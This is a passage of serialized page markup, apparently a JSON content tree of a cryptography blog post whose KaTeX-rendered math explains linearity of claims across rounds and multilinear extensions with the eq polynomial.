"className":46510,"style":5514},[241],[],{"type":26,"tag":217,"props":46513,"children":46515},{"className":46514},[247,2152],[46516],{"type":32,"value":163},{"type":26,"tag":217,"props":46518,"children":46520},{"className":46519},[288],[46521],{"type":32,"value":1851},{"type":26,"tag":217,"props":46523,"children":46525},{"className":46524},[247],[46526],{"type":32,"value":185},{"type":26,"tag":217,"props":46528,"children":46530},{"className":46529,"style":336},[258],[],{"type":26,"tag":217,"props":46532,"children":46534},{"className":46533},[341],[46535],{"type":32,"value":3379},{"type":26,"tag":217,"props":46537,"children":46539},{"className":46538,"style":336},[258],[],{"type":26,"tag":217,"props":46541,"children":46543},{"className":46542},[236],[46544,46548,46553,46610,46615,46619,46624],{"type":26,"tag":217,"props":46545,"children":46547},{"className":46546,"style":5514},[241],[],{"type":26,"tag":217,"props":46549,"children":46551},{"className":46550},[247],[46552],{"type":32,"value":332},{"type":26,"tag":217,"props":46554,"children":46556},{"className":46555},[247],[46557,46562],{"type":26,"tag":217,"props":46558,"children":46560},{"className":46559,"style":2753},[247,2152],[46561],{"type":32,"value":19414},{"type":26,"tag":217,"props":46563,"children":46565},{"className":46564},[2160],[46566],{"type":26,"tag":217,"props":46567,"children":46569},{"className":46568},[299,300],[46570,46599],{"type":26,"tag":217,"props":46571,"children":46573},{"className":46572},[305],[46574,46594],{"type":26,"tag":217,"props":46575,"children":46577},{"className":46576,"style":2271},[310],[46578],{"type":26,"tag":217,"props":46579,"children":46580},{"style":2775},[46581,46585],{"type":26,"tag":217,"props":46582,"children":46584},{"className":46583,"style":2182},[320],[],{"type":26,"tag":217,"props":46586,"children":46588},{"className":46587},[2187,2188,2189,2190],[46589],{"type":26,"tag":217,"props":46590,"children":46592},{"className":46591},[247,2152,2190],[46593],{"type":32,"value":2290},{"type":26,"tag":217,"props":46595,"children":46597},{"className":46596},[409],[46598],{"type":32,"value":412},{"type":26,"tag":217,"props":46600,"children":46602},{"className":46601},[305],[46603],{"type":26,"tag":217,"props":46604,"children":46606},{"className":46605,"style":2210},[310],[46607],{"type":26,"tag":217,"props":46608,"children":46609},{},[],{"type":26,"tag":217,"props":46611,"children":46613},{"className":46612},[428],[46614],{"type":32,"value":1889},{"type":26,"tag":217,"props":46616,"children":46618},{"className":46617,"style":336},[258],[],{"type":26,"tag":217,"props":46620,"children":46622},{"className":46621},[341],[46623],{"type":32,"value":3540},{"type":26,"tag":217,"props":46625,"children":46627},{"className":46626,"style":336},[258],[],{"type":26,"tag":217,"props":46629,"children":46631},{"className":46630},[236],[46632,46636,46707,46711,46716],{"type":26,"tag":217,"props":46633,"children":46635},{"className":46634,"style":45326},[241],[],{"type":26,"tag":217,"props":46637,"children":46639},{"className":46638},[247],[46640,46645],{"type":26,"tag":217,"props":46641,"children":46643},{"className":46642,"style":2680},[247,2152],[46644],{"type":32,"value":2683},{"type":26,"tag":217,"props":46646,"children":46648},{"className":46647},[2160],[46649],{"type":26,"tag":217,"props":46650,"children":46652},{"className":46651},[299,300],[46653,46696],{"type":26,"tag":217,"props":46654,"children":46656},{"className":46655},[305],[46657,46691],{"type":26,"tag":217,"props":46658,"children":46660},{"className":46659,"style":2271},[310],[46661],{"type":26,"tag":217,"props":46662,"children":46663},{"style":2703},[46664,46668],{"type":26,"tag":217,"props":46665,"children":46667},{"className":46666,"style":2182},[320],[],{"type":26,"tag":217,"props":46669,"children":46671},{"className":46670},[2187,2188,2189,2190],[46672],{"type":26,"tag":217,"props":46673,"children":46675},{"className":46674},[247,2190],[46676,46681,46686],{"type":26,"tag":217,"props":46677,"children":46679},{"className":46678},[247,2152,2190],[46680],{"type":32,"value":2290},{"type":26,"tag":217,"props":46682,"children":46684},{"className":46683},[341,2190],[46685],{"type":32,"value":3379},{"type":26,"tag":217,"props":46687,"children":46689},{"className":46688},[247,2190],[46690],{"type":32,"value":185},{"type":26,"tag":217,"props":46692,"children":46694},{"className":46693},[409],[46695],{"type":32,"value":412},{"type":26,"tag":217,"props":46697,"children":46699},{"className":46698},[305],[46700],{"type":26,"tag":217,"props":46701,"children":46703},{"className":46702,"style":45395},[310],[46704],{"type":26,"tag":217,"props":46705,"children":46706},{},[],{"type":26,"tag":217,"props":46708,"children":46710},{"className":46709,"style":336},[258],[],{"type":26,"tag":217,"props":46712,"children":46714},{"className":46713},[341],[46715],{"type":32,"value":344},{"type":26,"tag":217,"props":46717,"children":46719},{"className":46718,"style":336},[258],[],{"type":26,"tag":217,"props":46721,"children":46723},{"className":46722},[236],[46724,46728],{"type":26,"tag":217,"props":46725,"children":46727},{"className":46726,"style":4828},[241],[],{"type":26,"tag":217,"props":46729,"children":46731},{"className":46730},[247],[46732,46737],{"type":26,"tag":217,"props":46733,"children":46735},{"className":46734,"style":2753},[247,2152],[46736],{"type":32,"value":19414},{"type":26,"tag":217,"props":46738,"children":46740},{"className":46739},[2160],[46741],{"type":26,"tag":217,"props":46742,"children":46744},{"className":46743},[299,300],[46745,46774],{"type":26,"tag":217,"props":46746,"children":46748},{"className":46747},[305],[46749,46769],{"type":26,"tag":217,"props":46750,"children":46752},{"className":46751,"style":2271},[310],[46753],{"type":26,"tag":217,"props":46754,"children":46755},{"style":2775},[46756,46760],{"type":26,"tag":217,"props":46757,"children":46759},{"className":46758,"style":2182},[320],[],{"type":26,"tag":217,"props":46761,"children":46763},{"className":46762},[2187,2188,2189,2190],[46764],{"type":26,"tag":217,"props":46765,"children":46767},{"className":46766},[247,2152,2190],[46768],{"type":32,"value":2290},{"type":26,"tag":217,"props":46770,"children":46772},{"className":46771},[409],[46773],{"type":32,"value":412},{"type":26,"tag":217,"props":46775,"children":46777},{"className":46776},[305],[46778],{"type":26,"tag":217,"props":46779,"children":46781},{"className":46780,"style":2210},[310],[46782],{"type":26,"tag":217,"props":46783,"children":46784},{},[],{"type":26,"tag":39,"props":46786,"children":46787},{},[46788,46790,46886,46888,46913,46915,46940],{"type":32,"value":46789},"This is ",{"type":26,"tag":9348,"props":46791,"children":46792},{},[46793,46795],{"type":32,"value":46794},"linear in ",{"type":26,"tag":83,"props":46796,"children":46798},{"className":46797},[213,4703],[46799],{"type":26,"tag":217,"props":46800,"children":46802},{"className":46801},[225],[46803],{"type":26,"tag":217,"props":46804,"children":46806},{"className":46805,"ariaHidden":231},[230],[46807],{"type":26,"tag":217,"props":46808,"children":46810},{"className":46809},[236],[46811,46815],{"type":26,"tag":217,"props":46812,"children":46814},{"className":46813,"style":45326},[241],[],{"type":26,"tag":217,"props":46816,"children":46818},{"className":46817},[247],[46819,46824],{"type":26,"tag":217,"props":46820,"children":46822},{"className":46821,"style":2680},[247,2152],[46823],{"type":32,"value":2683},{"type":26,"tag":217,"props":46825,"children":46827},{"className":46826},[2160],[46828],{"type":26,"tag":217,"props":46829,"children":46831},{"className":46830},[299,300],[46832,46875],{"type":26,"tag":217,"props":46833,"children":46835},{"className":46834},[305],[46836,46870],{"type":26,"tag":217,"props":46837,"children":46839},{"className":46838,"style":2271},[310],[46840],{"type":26,"tag":217,"props":46841,"children":46842},{"style":2703},[46843,46847],{"type":26,"tag":217,"props":46844,"children":46846},{"className":46845,"style":2182},[320],[],{"type":26,"tag":217,"props":46848,"children":46850},{"className":46849},[2187,2188,2189,2190],[46851],{"type":26,"tag":217,"props":46852,"children":46854},{"className":46853},[247,2190],[46855,46860,46865],{"type":26,"tag":217,"props":46856,"children":46858},{"className":46857},[247,2152,2190],[46859],{"type":32,"value":2290},{"type":26,"tag":217,"props":46861,"children":46863},{"className":46862},[341,2190],[46864],{"type":32,"value":3379},{"type":26,"tag":217,"props":46866,"children":46868},{"className":46867},[247,2190],[46869],{"type":32,"value":185},{"type":26,"tag":217,"props":46871,"children":46873},{"className":46872},[409],[46874],{"type":32,"value":412},{"type":26,"tag":217,"props":46876,"children":46878},{"className":46877},[305],[46879],{"type":26,"tag":217,"props":46880,"children":46882},{"className":46881,"style":45395},[310],[46883],{"type":26,"tag":217,"props":46884,"children":46885},{},[],{"type":32,"value":46887},"! By induction, the final claim is linear in the original ",{"type":26,"tag":83,"props":46889,"children":46891},{"className":46890},[213,4703],[46892],{"type":26,"tag":217,"props":46893,"children":46895},{"className":46894},[225],[46896],{"type":26,"tag":217,"props":46897,"children":46899},{"className":46898,"ariaHidden":231},[230],[46900],{"type":26,"tag":217,"props":46901,"children":46903},{"className":46902},[236],[46904,46908],{"type":26,"tag":217,"props":46905,"children":46907},{"className":46906,"style":4800},[241],[],{"type":26,"tag":217,"props":46909,"children":46911},{"className":46910,"style":2680},[247,2152],[46912],{"type":32,"value":2683},{"type":32,"value":46914},". If ",{"type":26,"tag":83,"props":46916,"children":46918},{"className":46917},[213,4703],[46919],{"type":26,"tag":217,"props":46920,"children":46922},{"className":46921},[225],[46923],{"type":26,"tag":217,"props":46924,"children":46926},{"className":46925,"ariaHidden":231},[230],[46927],{"type":26,"tag":217,"props":46928,"children":46930},{"className":46929},[236],[46931,46935],{"type":26,"tag":217,"props":46932,"children":46934},{"className":46933,"style":4800},[241],[],{"type":26,"tag":217,"props":46936,"children":46938},{"className":46937,"style":2680},[247,2152],[46939],{"type":32,"value":2683},{"type":32,"value":46941}," isn't in the transcript, we can solve for it.",{"type":26,"tag":607,"props":46943,"children":46945},{"id":46944},"multilinear-extensions-mles",[46946],{"type":32,"value":46947},"Multilinear Extensions (MLEs)",{"type":26,"tag":39,"props":46949,"children":46950},{},[46951,46953,47038],{"type":32,"value":46952},"An MLE is just the polynomial view of a table over ",{"type":26,"tag":83,"props":46954,"children":46956},{"className":46955},[213,4703],[46957],{"type":26,"tag":217,"props":46958,"children":46960},{"className":46959},[225],[46961],{"type":26,"tag":217,"props":46962,"children":46964},{"className":46963,"ariaHidden":231},[230],[46965],{"type":26,"tag":217,"props":46966,"children":46968},{"className":46967},[236],[46969,46973,46978,46983,46988,46992,46997],{"type":26,"tag":217,"props":46970,"children":46972},{"className":46971,"style":5514},[241],[],{"type":26,"tag":217,"props":46974,"children":46976},{"className":46975},[288],[46977],{"type":32,"value":25667},{"type":26,"tag":217,"props":46979,"children":46981},{"className":46980},[247],[46982],{"type":32,"value":1883},{"type":26,"tag":217,"props":46984,"children":46986},{"className":46985},[1865],[46987],{"type":32,"value":1868},{"type":26,"tag":217,"props":46989,"children":46991},{"className":46990,"style":1872},[258],[],{"type":26,"tag":217,"props":46993,"children":46995},{"className":46994},[247],[46996],{"type":32,"value":185},{"type":26,"tag":217,"props":46998,"children":47000},{"className":46999},[428],[47001,47006],{"type":26,"tag":217,"props":47002,"children":47004},{"className":47003},[428],[47005],{"type":32,"value":7659},{"type":26,"tag":217,"props":47007,"children":47009},{"className":47008},[2160],[47010],{"type":26,"tag":217,"props":47011,"children":47013},{"className":47012},[299],[47014],{"type":26,"tag":217,"props":47015,"children":47017},{"className":47016},[305],[47018],{"type":26,"tag":217,"props":47019,"children":47021},{"className":47020,"style":6084},[310],[47022],{"type":26,"tag":217,"props":47023,"children":47024},{"style":6105},[47025,47029],{"type":26,"tag":217,"props":47026,"children":47028},{"className":47027,"style":2182},[320],[],{"type":26,"tag":217,"props":47030,"children":47032},{"className":47031},[2187,2188,2189,2190],[47033],{"type":26,"tag":217,"props":47034,"children":47036},{"className":47035},[247,2152,2190],[47037],{"type":32,"value":2197},{"type":32,"value":47039},": it matches the table on Boolean points and extends it to field points.",{"type":26,"tag":39,"props":47041,"children":47042},{},[47043],{"type":32,"value":47044},"For this post, the only property you need is:",{"type":26,"tag":39,"props":47046,"children":47047},{},[47048],{"type":26,"tag":83,"props":47049,"children":47051},{"className":47050},[213,4703],[47052],{"type":26,"tag":217,"props":47053,"children":47055},{"className":47054},[225],[47056],{"type":26,"tag":217,"props":47057,"children":47059},{"className":47058,"ariaHidden":231},[230],[47060,47221,47492],{"type":26,"tag":217,"props":47061,"children":47063},{"className":47062},[236],[47064,47069,47137,47142,47203,47208,47212,47217],{"type":26,"tag":217,"props":47065,"children":47068},{"className":47066,"style":47067},[241],"height:1.1813em;vertical-align:-0.25em;",[],{"type":26,"tag":217,"props":47070,"children":47073},{"className":47071},[247,47072],"accent",[47074],{"type":26,"tag":217,"props":47075,"children":47077},{"className":47076},[299,300],[47078,47125],{"type":26,"tag":217,"props":47079,"children":47081},{"className":47080},[305],[47082,47120],{"type":26,"tag":217,"props":47083,"children":47086},{"className":47084,"style":47085},[310],"height:0.9313em;",[47087,47100],{"type":26,"tag":217,"props":47088,"children":47090},{"style":47089},"top:-3em;",[47091,47095],{"type":26,"tag":217,"props":47092,"children":47094},{"className":47093,"style":321},[320],[],{"type":26,"tag":217,"props":47096,"children":47098},{"className":47097,"style":19823},[247,2152],[47099],{"type":32,"value":19826},{"type":26,"tag":217,"props":47101,"children":47103},{"style":47102},"top:-3.6134em;",[47104,47108],{"type":26,"tag":217,"props":47105,"children":47107},{"className":47106,"style":321},[320],[],{"type":26,"tag":217,"props":47109,"children":47113},{"className":47110,"style":47112},[47111],"accent-body","left:-0.0833em;",[47114],{"type":26,"tag":217,"props":47115,"children":47117},{"className":47116},[247],[47118],{"type":32,"value":47119},"~",{"type":26,"tag":217,"props":47121,"children":47123},{"className":47122},[409],[47124],{"type":32,"value":412},{"type":26,"tag":217,"props":47126,"children":47128},{"className":47127},[305],[47129],{"type":26,"tag":217,"props":47130,"children":47133},{"className":47131,"style":47132},[310],"height:0.1944em;",[47134],{"type":26,"tag":217,"props":47135,"children":47136},{},[],{"type":26,"tag":217,"props":47138,"children":47140},{"className":47139},[288],[47141],{"type":32,"value":1851},{"type":26,"tag":217,"props":47143,"children":47145},{"className":47144},[247,47072],[47146],{"type":26,"tag":217,"props":47147,"children":47149},{"className":47148},[299],[47150],{"type":26,"tag":217,"props":47151,"children":47153},{"className":47152},[305],[47154],{"type":26,"tag":217,"props":47155,"children":47158},{"className":47156,"style":47157},[310],"height:0.714em;",[47159,47171],{"type":26,"tag":217,"props":47160,"children":47161},{"style":47089},[47162,47166],{"type":26,"tag":217,"props":47163,"children":47165},{"className":47164,"style":321},[320],[],{"type":26,"tag":217,"props":47167,"children":47169},{"className":47168,"style":2753},[247,2152],[47170],{"type":32,"value":19414},{"type":26,"tag":217,"props":47172,"children":47173},{"style":47089},[47174,47178],{"type":26,"tag":217,"props":47175,"children":47177},{"className":47176,"style":321},[320],[],{"type":26,"tag":217,"props":47179,"children":47182},{"className":47180,"style":47181},[47111],"left:-0.1799em;",[47183],{"type":26,"tag":217,"props":47184,"children":47188},{"className":47185,"style":47187},[47186],"overlay","height:0.714em;width:0.471em;",[47189],{"type":26,"tag":47190,"props":47191,"children":47198},"svg",{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},"http://www.w3.org/2000/svg","0.471em","0.714em","width:0.471em","0 0 471 714","xMinYMin",[47199],{"type":26,"tag":41011,"props":47200,"children":47202},{"d":47201},"M377 20c0-5.333 1.833-10 5.5-14S391 0 397 0c4.667 0 8.667 1.667 12 5\n3.333 2.667 6.667 9 10 19 6.667 24.667 20.333 43.667 41 57 7.333 4.667 11\n10.667 11 18 0 6-1 10-3 12s-6.667 5-14 9c-28.667 14.667-53.667 35.667-75 63\n-1.333 1.333-3.167 3.5-5.5 6.5s-4 4.833-5 5.5c-1 .667-2.5 1.333-4.5 2s-4.333 1\n-7 1c-4.667 0-9.167-1.833-13.5-5.5S337 184 337 178c0-12.667 15.667-32.333 47-59\nH213l-171-1c-8.667-6-13-12.333-13-19 0-4.667 4.333-11.333 13-20h359\nc-16-25.333-24-45-24-59z",[],{"type":26,"tag":217,"props":47204,"children":47206},{"className":47205},[428],[47207],{"type":32,"value":1889},{"type":26,"tag":217,"props":47209,"children":47211},{"className":47210,"style":259},[258],[],{"type":26,"tag":217,"props":47213,"children":47215},{"className":47214},[264],[47216],{"type":32,"value":267},{"type":26,"tag":217,"props":47218,"children":47220},{"className":47219,"style":259},[258],[],{"type":26,"tag":217,"props":47222,"children":47224},{"className":47223},[236],[47225,47230,47410,47414,47419,47424,47474,47479,47483,47488],{"type":26,"tag":217,"props":47226,"children":47229},{"className":47227,"style":47228},[241],"height:1.4918em;vertical-align:-0.5144em;",[],{"type":26,"tag":217,"props":47231,"children":47233},{"className":47232},[1842],[47234,47239],{"type":26,"tag":217,"props":47235,"children":47237},{"className":47236,"style":22482},[1842,4049,22481],[47238],{"type":32,"value":4053},{"type":26,"tag":217,"props":47240,"children":47242},{"className":47241},[2160],[47243],{"type":26,"tag":217,"props":47244,"children":47246},{"className":47245},[299,300],[47247,47398],{"type":26,"tag":217,"props":47248,"children":47250},{"className":47249},[305],[47251,47393],{"type":26,"tag":217,"props":47252,"children":47254},{"className":47253,"style":5098},[310],[47255],{"type":26,"tag":217,"props":47256,"children":47258},{"style":47257},"top:-2.3606em;margin-left:0em;margin-right:0.05em;",[47259,47263],{"type":26,"tag":217,"props":47260,"children":47262},{"className":47261,"style":2182},[320],[],{"type":26,"tag":217,"props":47264,"children":47266},{"className":47265},[2187,2188,2189,2190],[47267],{"type":26,"tag":217,"props":47268,"children":47270},{"className":47269},[247,2190],[47271,47325,47330,47335,47340,47345,47350],{"type":26,"tag":217,"props":47272,"children":47274},{"className":47273},[247,47072,2190],[47275],{"type":26,"tag":217,"props":47276,"children":47278},{"className":47277},[299],[47279],{"type":26,"tag":217,"props":47280,"children":47282},{"className":47281},[305],[47283],{"type":26,"tag":217,"props":47284,"children":47287},{"className":47285,"style":47286},[310],"height:0.9774em;",[47288,47302],{"type":26,"tag":217,"props":47289,"children":47291},{"style":47290},"top:-2.714em;",[47292,47297],{"type":26,"tag":217,"props":47293,"children":47296},{"className":47294,"style":47295},[320],"height:2.714em;",[],{"type":26,"tag":217,"props":47298,"children":47300},{"className":47299},[247,2152,2190],[47301],{"type":32,"value":14783},{"type":26,"tag":217,"props":47303,"children":47305},{"style":47304},"top:-2.9774em;",[47306,47310],{"type":26,"tag":217,"props":47307,"children":47309},{"className":47308,"style":47295},[320],[],{"type":26,"tag":217,"props":47311,"children":47314},{"className":47312,"style":47313},[47111],"left:-0.2355em;",[47315],{"type":26,"tag":217,"props":47316,"children":47318},{"className":47317,"style":47187},[47186,2190],[47319],{"type":26,"tag":47190,"props":47320,"children":47321},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47322],{"type":26,"tag":41011,"props":47323,"children":47324},{"d":47201},[],{"type":26,"tag":217,"props":47326,"children":47328},{"className":47327},[264,2190],[47329],{"type":32,"value":43824},{"type":26,"tag":217,"props":47331,"children":47333},{"className":47332},[288,2190],[47334],{"type":32,"value":25667},{"type":26,"tag":217,"props":47336,"children":47338},{"className":47337},[247,2190],[47339],{"type":32,"value":1883},{"type":26,"tag":217,"props":47341,"children":47343},{"className":47342},[1865,2190],[47344],{"type":32,"value":1868},{"type":26,"tag":217,"props":47346,"children":47348},{"className":47347},[247,2190],[47349],{"type":32,"value":185},{"type":26,"tag":217,"props":47351,"children":47353},{"className":47352},[428,2190],[47354,47359],{"type":26,"tag":217,"props":47355,"children":47357},{"className":47356},[428,2190],[47358],{"type":32,"value":7659},{"type":26,"tag":217,"props":47360,"children":47362},{"className":47361},[2160],[47363],{"type":26,"tag":217,"props":47364,"children":47366},{"className":47365},[299],[47367],{"type":26,"tag":217,"props":47368,"children":47370},{"className":47369},[305],[47371],{"type":26,"tag":217,"props":47372,"children":47375},{"className":47373,"style":47374},[310],"height:0.5935em;",[47376],{"type":26,"tag":217,"props":47377,"children":47379},{"style":47378},"top:-2.786em;margin-right:0.0714em;",[47380,47384],{"type":26,"tag":217,"props":47381,"children":47383},{"className":47382,"style":5107},[320],[],{"type":26,"tag":217,"props":47385,"children":47387},{"className":47386},[2187,5112,5113,2190],[47388],{"type":26,"tag":217,"props":47389,"children":47391},{"className":47390},[247,2152,2190],[47392],{"type":32,"value":2197},{"type":26,"tag":217,"props":47394,"children":47396},{"className":47395},[409],[47397],{"type":32,"value":412},{"type":26,"tag":217,"props":47399,"children":47401},{"className":47400},[305],[47402],{"type":26,"tag":217,"props":47403,"children":47406},{"className":47404,"style":47405},[310],"height:0.5144em;",[47407],{"type":26,"tag":217,"props":47408,"children":47409},{},[],{"type":26,"tag":217,"props":47411,"children":47413},{"className":47412,"style":1872},[258],[],{"type":26,"tag":217,"props":47415,"children":47417},{"className":47416,"style":19823},[247,2152],[47418],{"type":32,"value":19826},{"type":26,"tag":217,"props":47420,"children":47422},{"className":47421},[288],[47423],{"type":32,"value":1851},{"type":26,"tag":217,"props":47425,"children":47427},{"className":47426},[247,47072],[47428],{"type":26,"tag":217,"props":47429,"children":47431},{"className":47430},[299],[47432],{"type":26,"tag":217,"props":47433,"children":47435},{"className":47434},[305],[47436],{"type":26,"tag":217,"props":47437,"children":47439},{"className":47438,"style":47286},[310],[47440,47452],{"type":26,"tag":217,"props":47441,"children":47442},{"style":47089},[47443,47447],{"type":26,"tag":217,"props":47444,"children":47446},{"className":47445,"style":321},[320],[],{"type":26,"tag":217,"props":47448,"children":47450},{"className":47449},[247,2152],[47451],{"type":32,"value":14783},{"type":26,"tag":217,"props":47453,"children":47455},{"style":47454},"top:-3.2634em;",[47456,47460],{"type":26,"tag":217,"props":47457,"children":47459},{"className":47458,"style":321},[320],[],{"type":26,"tag":217,"props":47461,"children":47463},{"className":47462,"style":47313},[47111],[47464],{"type":26,"tag":217,"props":47465,"children":47467},{"className":47466,"style":47187},[47186],[47468],{"type":26,"tag":47190,"props":47469,"children":47470},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47471],{"type":26,"tag":41011,"props":47472,"children":47473},{"d":47201},[],{"type":26,"tag":217,"props":47475,"children":47477},{"className":47476},[428],[47478],{"type":32,"value":1889},{"type":26,"tag":217,"props":47480,"children":47482},{"className":47481,"style":336},[258],[],{"type":26,"tag":217,"props":47484,"children":47486},{"className":47485},[341],[47487],{"type":32,"value":344},{"type":26,"tag":217,"props":47489,"children":47491},{"className":47490,"style":336},[258],[],{"type":26,"tag":217,"props":47493,"children":47495},{"className":47494},[236],[47496,47501,47511,47516,47565,47570,47574,47623],{"type":26,"tag":217,"props":47497,"children":47500},{"className":47498,"style":47499},[241],"height:1.2274em;vertical-align:-0.25em;",[],{"type":26,"tag":217,"props":47502,"children":47504},{"className":47503},[247,32],[47505],{"type":26,"tag":217,"props":47506,"children":47508},{"className":47507},[247],[47509],{"type":32,"value":47510},"eq",{"type":26,"tag":217,"props":47512,"children":47514},{"className":47513},[288],[47515],{"type":32,"value":1851},{"type":26,"tag":217,"props":47517,"children":47519},{"className":47518},[247,47072],[47520],{"type":26,"tag":217,"props":47521,"children":47523},{"className":47522},[299],[47524],{"type":26,"tag":217,"props":47525,"children":47527},{"className":47526},[305],[47528],{"type":26,"tag":217,"props":47529,"children":47531},{"className":47530,"style":47286},[310],[47532,47544],{"type":26,"tag":217,"props":47533,"children":47534},{"style":47089},[47535,47539],{"type":26,"tag":217,"props":47536,"children":47538},{"className":47537,"style":321},[320],[],{"type":26,"tag":217,"props":47540,"children":47542},{"className":47541},[247,2152],[47543],{"type":32,"value":14783},{"type":26,"tag":217,"props":47545,"children":47546},{"style":47454},[47547,47551],{"type":26,"tag":217,"props":47548,"children":47550},{"className":47549,"style":321},[320],[],{"type":26,"tag":217,"props":47552,"children":47554},{"className":47553,"style":47313},[47111],[47555],{"type":26,"tag":217,"props":47556,"children":47558},{"className":47557,"style":47187},[47186],[47559],{"type":26,"tag":47190,"props":47560,"children":47561},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47562],{"type":26,"tag":41011,"props":47563,"children":47564},{"d":47201},[],{"type":26,"tag":217,"props":47566,"children":47568},{"className":47567},[1865],[47569],{"type":32,"value":1868},{"type":26,"tag":217,"props":47571,"children":47573},{"className":47572,"style":1872},[258],[],{"type":26,"tag":217,"props":47575,"children":47577},{"className":47576},[247,47072],[47578],{"type":26,"tag":217,"props":47579,"children":47581},{"className":47580},[299],[47582],{"type":26,"tag":217,"props":47583,"children":47585},{"className":47584},[305],[47586],{"type":26,"tag":217,"props":47587,"children":47589},{"className":47588,"style":47157},[310],[47590,47602],{"type":26,"tag":217,"props":47591,"children":47592},{"style":47089},[47593,47597],{"type":26,"tag":217,"props":47594,"children":47596},{"className":47595,"style":321},[320],[],{"type":26,"tag":217,"props":47598,"children":47600},{"className":47599,"style":2753},[247,2152],[47601],{"type":32,"value":19414},{"type":26,"tag":217,"props":47603,"children":47604},{"style":47089},[47605,47609],{"type":26,"tag":217,"props":47606,"children":47608},{"className":47607,"style":321},[320],[],{"type":26,"tag":217,"props":47610,"children":47612},{"className":47611,"style":47181},[47111],[47613],{"type":26,"tag":217,"props":47614,"children":47616},{"className":47615,"style":47187},[47186],[47617],{"type":26,"tag":47190,"props":47618,"children":47619},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47620],{"type":26,"tag":41011,"props":47621,"children":47622},{"d":47201},[],{"type":26,"tag":217,"props":47624,"children":47626},{"className":47625},[428],[47627],{"type":32,"value":1889},{"type":26,"tag":39,"props":47629,"children":47630},{},[47631,47633,47702,47704,47850,47852,47991,47993,48077],{"type":32,"value":47632},"At a fixed challenge point ",{"type":26,"tag":83,"props":47634,"children":47636},{"className":47635},[213,4703],[47637],{"type":26,"tag":217,"props":47638,"children":47640},{"className":47639},[225],[47641],{"type":26,"tag":217,"props":47642,"children":47644},{"className":47643,"ariaHidden":231},[230],[47645],{"type":26,"tag":217,"props":47646,"children":47648},{"className":47647},[236],[47649,47653],{"type":26,"tag":217,"props":47650,"children":47652},{"className":47651,"style":47157},[241],[],{"type":26,"tag":217,"props":47654,"children":47656},{"className":47655},[247,47072],[47657],{"type":26,"tag":217,"props":47658,"children":47660},{"className":47659},[299],[47661],{"type":26,"tag":217,"props":47662,"children":47664},{"className":47663},[305],[47665],{"type":26,"tag":217,"props":47666,"children":47668},{"className":47667,"style":47157},[310],[47669,47681],{"type":26,"tag":217,"props":47670,"children":47671},{"style":47089},[47672,47676],{"type":26,"tag":217,"props":47673,"children":47675},{"className":47674,"style":321},[320],[],{"type":26,"tag":217,"props":47677,"children":47679},{"className":47678,"style":2753},[247,2152],[47680],{"type":32,"value":19414},{"type":26,"tag":217,"props":47682,"children":47683},{"style":47089},[47684,47688],{"type":26,"tag":217,"props":47685,"children":47687},{"className":47686,"style":321},[320],[],{"type":26,"tag":217,"props":47689,"children":47691},{"className":47690,"style":47181},[47111],[47692],{"type":26,"tag":217,"props":47693,"children":47695},{"className":47694,"style":47187},[47186],[47696],{"type":26,"tag":47190,"props":47697,"children":47698},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47699],{"type":26,"tag":41011,"props":47700,"children":47701},{"d":47201},[],{"type":32,"value":47703},", the coefficients ",{"type":26,"tag":83,"props":47705,"children":47707},{"className":47706},[213,4703],[47708],{"type":26,"tag":217,"props":47709,"children":47711},{"className":47710},[225],[47712],{"type":26,"tag":217,"props":47713,"children":47715},{"className":47714,"ariaHidden":231},[230],[47716],{"type":26,"tag":217,"props":47717,"children":47719},{"className":47718},[236],[47720,47724,47733,47738,47787,47792,47796,47845],{"type":26,"tag":217,"props":47721,"children":47723},{"className":47722,"style":47499},[241],[],{"type":26,"tag":217,"props":47725,"children":47727},{"className":47726},[247,32],[47728],{"type":26,"tag":217,"props":47729,"children":47731},{"className":47730},[247],[47732],{"type":32,"value":47510},{"type":26,"tag":217,"props":47734,"children":47736},{"className":47735},[288],[47737],{"type":32,"value":1851},{"type":26,"tag":217,"props":47739,"children":47741},{"className":47740},[247,47072],[47742],{"type":26,"tag":217,"props":47743,"children":47745},{"className":47744},[299],[47746],{"type":26,"tag":217,"props":47747,"children":47749},{"className":47748},[305],[47750],{"type":26,"tag":217,"props":47751,"children":47753},{"className":47752,"style":47286},[310],[47754,47766],{"type":26,"tag":217,"props":47755,"children":47756},{"style":47089},[47757,47761],{"type":26,"tag":217,"props":47758,"children":47760},{"className":47759,"style":321},[320],[],{"type":26,"tag":217,"props":47762,"children":47764},{"className":47763},[247,2152],[47765],{"type":32,"value":14783},{"type":26,"tag":217,"props":47767,"children":47768},{"style":47454},[47769,47773],{"type":26,"tag":217,"props":47770,"children":47772},{"className":47771,"style":321},[320],[],{"type":26,"tag":217,"props":47774,"children":47776},{"className":47775,"style":47313},[47111],[47777],{"type":26,"tag":217,"props":47778,"children":47780},{"className":47779,"style":47187},[47186],[47781],{"type":26,"tag":47190,"props":47782,"children":47783},{"xmlns":47192,"width":47193,"height":47194,"style":47195,"viewBox":47196,"preserveAspectRatio":47197},[47784],{"type":26,"tag":41011,"props":47785,"children":47786},{"d":47201},[],{"type":26,"tag":217,"props":47788,"children":47790},{"className":47789},[1865],[47791],{"type":32,"value":1868},{"type":26,"tag":217,"props":47793,"children":47795},{"className":47794,"style":1872},[258],[],{"type":26,"tag":217,"props":47797,"children":47799},{"className":47798},[247,47072],[47800],{"type":26,"tag":217,"props":47801,"children":47803},{"className":47802},[299],[47804],{"type":26,"tag":217,"props":47805,"children":47807},{"className":47806},[305],[47808],{"type":26,"tag":217,"props":47809,"children":47811},{"className":47810,"style":47157},[310],[47812,47824],{"type":26,"tag":217,"props":47813,"children":47814},{"style":47089},[47815,47819],{"type":26,"tag":217,"props":47816,"children":47818},{"className":47817,"style":321},[320],[],{"type":26,"tag":217,"props":47820,"children":47822},{"className":47821,"style":2753},[247,2152],[47823],{"type":32,"value":19414},{"type":26,"tag":217,"props":47825,"children":47826},{"style":47089},[47827,47831],{"type":26,"tag":217,"props":47828,"children":47830},{"className":47829,"style":321},[320],[],{"type":26,"tag":217,"props":47832,"children":47834},{"className":47833,"style":47181}